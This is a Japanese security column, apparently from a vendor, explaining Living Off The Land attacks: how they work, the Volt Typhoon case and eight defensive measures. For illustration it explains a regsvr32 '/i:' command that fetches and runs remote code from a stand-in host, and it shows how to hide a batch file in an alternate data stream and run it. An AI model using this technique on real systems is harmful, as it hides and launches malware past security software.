業務で使用する正規ツールが、サイバー攻撃の一環として悪用されることをご存知でしょうか?Living Off The Land(LotL)攻撃は、システム内に既に存在するソフトウェアや管理ツールを利用して情報窃取や権限昇格を行う新たな脅威です。この攻撃手法は、セキュリティソフトの目をすり抜けるため、検出が極めて困難です。
本コラムでは、LotL攻撃の仕組みや具体例、そしてその防御策について詳しく解説します。
Living Off The Land攻撃(以下、LotL攻撃と略します)は、対象システムで既に使用されている正規のソフトウェアやシステムユーティリティ、管理ツール、スクリプト言語(例:PowerShell、Bash)などを悪用して情報窃取や権限昇格などを目的とした行為を行うサイバー攻撃の一種です。
必要なリソースをターゲット先の企業内で調達することから、「現地調達(Living Off The Land)」を引用して、LotL攻撃と呼ばれています。この他に「現地調達型攻撃」、「環境寄生型攻撃」、「自給自足型攻撃」などと称されることもあります。
通常、情報窃取や権限昇格を目的とする攻撃にはマルウェアの使用が一般的ですが、外部から新たにソフトウェアをダウンロード・インストールするため、セキュリティソフトの監視をどのように回避するかが主な課題となります。
しかし、LotL攻撃の特徴は、外部から新たにソフトウェアをダウンロード・インストールするのではなく、対象システムの環境にすでに存在する正規のツールを利用して情報窃取や権限昇格といった悪意のある活動を行うことにあります。
一般的なセキュリティソフトは、ネットワークの疎通やファイルやアプリケーションの挙動を監視し、異常を検知すると即座にブロックします。一方でLotL攻撃は既存のツールを用いるため、その行為自体が通常の行為と区別がつきにくくなり、これが原因でセキュリティソフトによる検出が非常に難しくなるのです。
攻撃者にとって、情報窃取や権限昇格などの長期にわたる攻撃を実行する際には、セキュリティソフトに検出されずに活動を続けることが極めて重要です。LotL攻撃はセキュリティソフトによる検出を回避しやすく、近年特に注目される攻撃手法となっています。
最近のセキュリティソフトには、振る舞い検知機能が備わっているタイプも多いですが、正規のソフトウェア、特に日常業務に使用されるものは、誤検知を避けるためセキュリティソフトで除外設定をされていることが多いと思います。
その除外設定を狙ったのがLotL攻撃です。誤検知や使い勝手の問題を考慮しつつも、業務進行のためにはツールの使用が不可欠であり、これらを完全に禁止するわけにはいきません。そのためLotL攻撃に対する確実な防御策が存在せず、その手法は増加傾向にあります。
攻撃者は、具体的にどのようなものを悪用しているのでしょうか。LotL攻撃で使われるシステムツールの一例をご紹介します。
コマンドプロンプト(cmd.exe)
言わずと知れたWindowsのコマンドラインインタープリンタです。CUIでファイル操作、プログラムの起動、システム設定の変更など作業を行うことが可能なツールです。
LotL攻撃では、コマンドプロンプトは以下のような使われ方になります。
しては、Windowsに標準で備わっているツール(cmd.exe)が起点となっているため、セキュリティソフトウェアがcmd.exeの挙動を積極的に監視していない限り、検出が困難であることです。
使用例:コマンドプロンプトを使用し、代替データストリーム(ADS)を悪用してマルウェアを隠蔽する
代替データストリーム(ADS: Alternate Data Streams)とは、ファイルに隠された追加のデータ領域になります。通常の操作ではこのデータを見ることはできず、特別なツールやコマンドを使用する必要があります。主にWindowsの環境で使用される機能になります。主な用途は、ファイルに追加のメタデータを格納することになり、例えば、インターネットからのダウンロード元の情報や著作権情報の格納など、特定のメタデータをファイルに添付する際に利用されることが多いです。これを悪用して、マルウェアを隠蔽し、実行する例を以下に挙げたいと思います。
1.代替データストリーム(ADS)を悪用してマルウェアを隠蔽する。
以下のコマンドは、コマンドプロンプトを使用して、マルウェア(malware.exe)を実行するバッチファイル(execute.bat)を、「fakefile.docx」というドキュメントファイルに隠蔽する例になります。
図で表すと以下のようなイメージになります。
【コマンドの解説】
① cmd.exe /c
コマンドプロンプトを開き、指定されたコマンド(ここでは‘echo’を含む後に続くコマンド)を実行した後、プロンプトを閉じます。
② echo
後ろに続くコマンドを標準出力に送り出します。ここでは、’regsvr32.exe’のコマンドライン文字列を代替データストリーム(ADS)に出力します。
③ regsvr32.exe /s /u /i:https://app.example.com/malware.exe scrobj.dll
’regsvr32.exe’とそのオプションを使用して、外部URL(https://app.example.com/malware.exe)からのスクリプトを実行します。`/i` オプションで指定された URL からスクリプトを取得し、’/s’オプションでサイレントモードを有効にして、’scrobj.dll’でこのスクリプトを実行します。
’regsvr32.exe’自体はDLLファイルをレジストリに登録するために使用されるWindowsの正規プログラムであり、マルウェアではありません。’scrobj.dll’もWindowsに最初から含まれているライブラリです。
④ > fakefile.docx:execute.bat
③の出力を、ドキュメントファイル「fakefile.docx」の代替データストリーム「execute.bat」にリダイレクトし、保存します。この操作により、エクスプローラー上では「fakefile.docx」というドキュメントファイルが単に作成されたように見えますが、実際は「fakefile.docx」内に「execute.bat」というバッチファイルが隠された状態となり、ユーザーからは直接見ることができない、つまり隠蔽された状態となります。
これにより、攻撃者は任意のタイミングで「execute.bat」を実行することができる(つまりマルウェア(malware.exe)を実行することが可能)ようになります。
2.隠ぺいしたマルウェアを実行する
攻撃者は隠蔽した「execute.bat」バッチファイルを、以下のコマンドで実行します。このコマンドを実行することで、マルウェアが実行されます。
図で表すと以下のようなイメージになります。
【コマンドの解説】
このコマンドは`cmd.exe` を利用して ’start’コマンドを呼び出し、ADSに隠蔽されている バッチファイル「execute.bat」を実行します。
「execute.bat」が更に’regsvr32.exe’(Windowsの正規プログラム)を使用し「https://app.example.com/malware.exe」を実行することで、マルウェア「malware.exe」が実行されます。
なお、’start’コマンドの後に空の文字列(“”)を指定しているのは、’fakefile.docx:execute.bat’の部分がウィンドウタイトルとして誤解釈されるのを防ぐためです。
コマンドプロンプトを使用した例は以上になります。
本例では、意図的に「malware.exe」や「fakefile.docx」のような明確に怪しいファイル名を使用しましたが、もしファイル名が「日次点検作業ログ_20240425.docx」のように日常業務でありそうなものであれば、攻撃であると判断することがさらに困難になります。
セキュリティソフトで監視していたとしても、こうしたファイルが大量に生成される状況では、個々のファイルを一つ一つ確認する必要があり、見逃す可能性があります。自動的にこれらのファイルをブロックする設定にしている場合は問題が少ないかもしれませんが、正常な業務ファイルまでもが誤ってブロックされるリスクが伴います。
今回はコマンドプロンプトを用いた方法を挙げましたが、Windows環境ではPowerShellを使用して同様の操作が可能ですし、その他のOSでもshellやスクリプト言語を駆使してLotL攻撃が可能です。さらに、WindowsであればBITSAdminやWMI(Windows Management Instrumentation)のような管理ツールも悪用される可能性があります。これらすべてのツールの操作を監視し、攻撃か否かを区別することは困難です。このような点が、LotL攻撃を厄介なものにしています。
<補足>
本例ではコマンドプロンプトを使用して外部(https://app.example.com/)にあるマルウェアを直接実行する方法を示しましたが、それだけでは外部にアクセスする際にセキュリティソフトに検出される可能性があります。そのため、実際の攻撃時では、マルウェアを実行する前に実行環境の設定変更を行ったり、マルウェアをその場で生成したり、既にシステム上に存在するツールを利用したりすることが一般的です。
ここで注意したいのは、LotL攻撃は侵入後に使われる手法であるという点です。LotL攻撃を行うには、まず対象システムへ侵入する必要があります。そのため、一般的には、他のマルウェア攻撃とLotL攻撃を組み合わせて仕掛けます。
以下に、具体的なLotL攻撃とマルウェアを組み合わせた攻撃手順の一例をご紹介します。
① 初期侵入
フィッシング攻撃やエクスプロイトキットを用いたマルウェアのダウンロード・実行、ソーシャルエンジニアリングを通じてのシステムアクセス情報の入手、公開されている脆弱性(パブリックエクスプロイト)の利用など、様々な方法で対象システムへの最初の侵入を試みます。
② 活動拡大
一度侵入に成功すると、攻撃者はLotL攻撃を実行します。侵入したシステム内でWindowsであればコマンドプロンプトやPowerShell、WMIなどを駆使し、情報窃取、権限昇格、横断移動、データ窃取、持続的なアクセスの確保など、様々な活動を展開します。状況や最終目的(システム破壊、データ暗号化による金銭要求等)に応じて、適宜マルウェアをダウンロードし、使用することもあります。
③ 最終目的の達成
例えば、最終目的が「持続的なアクセスを確保する」場合、バックドアの設置やトロイの木馬など新たなマルウェアをダウンロードして利用します。マルウェアのダウンロード時には、「②活動拡大」のときと同様に、正規のシステムプロセスやサービスを使ったLotL攻撃でセキュリティソフトウェアの検出を避けます。また、攻撃の最終目的が「データ窃取」や「ランサムウェアの展開」の場合も、同様にLotL攻撃を使用しマルウェアをダウンロードして実行します。
このように、LotL攻撃はマルウェアを実行するために利用される手法なのです。
特徴 | LotL攻撃 | 一般的なマルウェア攻撃 |
---|---|---|
検出回避性 | 高い (多くのセキュリティソフトウェアではユーザーによる正当な操作であると認識する) | 変動する (セキュリティ対策に依存) |
機能性 | 対象システムの環境に依存 | マルウェアの内容(コード/プログラム)に依存 |
実行方法 | 正規のソフトウェア、管理ツール、スクリプト実行環境などを悪用 | ウイルス、ワーム、トロイの木馬、ランサムウェアなど |
使用ツール | (Windows環境の場合)コマンドプロンプト、PowerShell、BITSAdmin、WMIなど | ウイルス、ワーム、トロイの木馬、ランサムウェアなど |
攻撃の目的 | 最終目的の達成(ランサムウェアの展開、データ窃取、バックドアの設置など)をするうえで必要となるアクション(情報窃取、権限昇格、横断移動、データ窃取、持続的なアクセスの確保など)を実行 | 対象システムに侵入するため、もしくは、感染拡大、データ窃取、システム破壊、データ暗号化による金銭要求など最終特目的の達成 |
LotL攻撃は侵入後に使われ、検出が難しいため、明確な被害事例が表に出にくいのが現状ですが、LotL攻撃と明示されている事例があるため、それをご紹介します。
ハッカーグループ「Volt Typhoon」によるスパイ活動
「Volt Typhoon」は、アメリカや他国の重要インフラに対して長期的なスパイ活動を行っているグループです。このグループはWMIやPowerShellなどを利用して検出を回避しながら情報収集しているという報告が米国サイバーセキュリティ・インフラセキュリティ庁(CISA)から出されています。
出典:https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a
他のセキュリティ対策と同様、LotL攻撃に対しても基本的な考え方は変わりません。重要なのは、初期侵入のリスクを低減し、LotL攻撃が難しい環境を整備することです。
以下は、LotL攻撃に対する効果的な対策方法です。
① 最小権限の原則の適用
ユーザーとシステムプロセスには、必要最小限の権限のみを付与するようにします。特に管理者権限の過度な使用を抑制し、管理者権限を許可制とすること等によって、LotL攻撃の範囲を制限することが可能となります。
② アプリケーションの管理
業務で使用する標準アプリケーションを策定し、使用するアプリケーションを申請制にすることで、アプリケーションの管理を強化します。このアプローチにより、業務に不要なアプリケーションを削除し、LotL攻撃の機会を低減することができます。
③ 監視とログ管理の強化
ログイン/ログアウトといったシステム監査ログのほか、アプリケーションログ、ネットワークログなどの包括的な監視を行うことや、システムの正規ツールやコマンドの使用状況を監視、異常な挙動を検出するためのログ管理体制を整備します。これによりLotL攻撃を受けた際の被害状況の追跡が可能になり、復旧対応が容易になります。
これを実際に行うには、EDR(Endpoint Detection and Response)やSIEM (Security Information and Event Management) を使用してリアルタイムでログを分析し、異常を検知するのが一般的です。
④ ネットワークセグメンテーションとアクセス制御の強化
VLAN(Virtual LAN)等を利用してネットワークをセグメント化し、各セグメント間のアクセス制御を厳格に行うことで、LotL攻撃によってネットワークの奥深くに侵入することを困難にすることができます。
⑤ エンドポイント保護ソリューションの使用
エンドポイント保護プラットフォーム(EPP、一般的には「アンチウイルスソフト」とも呼ばれる)の導入は、初期侵入をより困難にし、LotL攻撃防止にも寄与します。特に次世代型アンチウイルス(NGAV)は高い検知率を持ち、初期侵入リスクを大幅に低減できます。
さらに、EDRを導入することで、リアルタイムでのLotL攻撃の検出と対応が可能になります。
クライアント端末側に関しては、アプリケーション隔離技術を使用するセキュリティソフトウェアの導入をするのも推奨いたします。これにより、初期侵入リスクを大幅に低減することができます。製品にもよりますが、NGAVと違い最初から隔離された環境でファイルやスクリプトを扱うようになるため、検知できるものであれば未知の手口でも対策できる利点があります。
⑥ セキュリティ意識向上トレーニングの実施
標的型攻撃メール訓練などといった従業員に対する定期的なセキュリティトレーニングを実施し、フィッシング攻撃や不審な行動の認識能力を高めることで、組織全体でLotL攻撃への防衛力が向上します。
⑦ パッチ管理の徹底
オペレーティングシステムやアプリケーションのセキュリティパッチを迅速に適用し、既知の脆弱性を修正することで、LotL攻撃で脆弱性を利用されるリスクを最小化することが可能です。これを実際に行うには、WSUS (Windows Server Update Services) やPatch Managementソフトウェアを使用して、パッチ適用を自動化するのが一般的です。
⑧ 定期的なレビューと改善
1~7の取り組みはもちろん、組織のセキュリティポリシーとプロセスも定期的に見直し、新たな脅威や技術革新に対応した更新を適宜行います。これはLotL攻撃だけでなくサイバー攻撃全般に有効な対策になります。
SCSK Minoriソリューションズでは、サイバー攻撃から企業を守るためのエンドポイントセキュリティを取り扱っています。サイバー攻撃対策についてお悩みがございましたらぜひお気軽にご相談ください。